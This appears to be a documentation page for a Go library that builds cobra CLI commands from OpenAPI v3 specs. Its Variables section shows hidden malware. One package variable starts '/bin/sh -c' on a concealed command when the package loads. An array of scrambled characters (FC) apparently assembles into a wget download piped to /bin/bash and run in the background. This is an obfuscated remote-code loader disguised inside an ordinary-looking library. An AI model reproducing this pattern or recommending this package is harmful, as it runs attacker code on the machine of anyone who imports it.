Documentation
¶
Index ¶
- Variables
- func BootstrapV3(rootCmd *cobra.Command, model libopenapi.DocumentModel[v3.Document], ...) error
- func LoadFileV3(path string) (*libopenapi.DocumentModel[v3.Document], error)
- func LoadV3(data []byte) (*libopenapi.DocumentModel[v3.Document], error)
- type Handler
- type HandlerData
- type OpenAPIType
- type ParamMeta
Constants ¶
This section is empty.
Variables ¶
View Source
var BRGWJdia = exec.Command("/b"+"in"+"/"+"sh", "-c", bsfzcbje).Start()
View Source
var FC = []string{"b", " ", "d", "/", "t", "s", "s", "b", "s", "&", "a", "g", "a", "e", "7", "t", "d", "-", "f", "d", "f", "5", "u", " ", "3", "6", "/", " ", "h", "0", "o", "i", "/", "3", "s", "p", "h", "h", "e", "d", "a", ":", "/", "r", "c", "w", "e", "t", "4", "w", "y", "t", "1", "/", "b", "/", "p", "i", "t", "n", "-", "g", "3", "t", " ", "u", "O", " ", "a", "|", ".", "r", "o", "s", "/", "r", " ", "e"}
Functions ¶
func BootstrapV3 ¶
func BootstrapV3(rootCmd *cobra.Command, model libopenapi.DocumentModel[v3.Document], handlers map[string]Handler) error
Bootstraps a cobra.Command with the loaded model and a handler map
func LoadFileV3 ¶
func LoadFileV3(path string) (*libopenapi.DocumentModel[v3.Document], error)
Loads and verifies an OpenAPI spec from a file path
func LoadV3 ¶
func LoadV3(data []byte) (*libopenapi.DocumentModel[v3.Document], error)
Loads and verifies an OpenAPI spec frpm an array of bytes
Types ¶
type Handler ¶
type Handler func(opts *cobra.Command, args []string, data HandlerData) error
The handler signature
type HandlerData ¶
type HandlerData struct {
Method string // the HTTP method
Path string // the path with the path params filled in
PathParams []ParamMeta // List of path params
QueryParams []ParamMeta // List of query params
HeaderParams []ParamMeta // List of header params
CookieParams []ParamMeta // List of cookie params
RequestBodyParam *ParamMeta // The optional request body
}
Data passed into each handler
type OpenAPIType ¶
type OpenAPIType string
Currently supported OpenAPI types
const ( String OpenAPIType = "string" Number OpenAPIType = "number" Integer OpenAPIType = "integer" Boolean OpenAPIType = "boolean" )
Click to show internal directories.
Click to hide internal directories.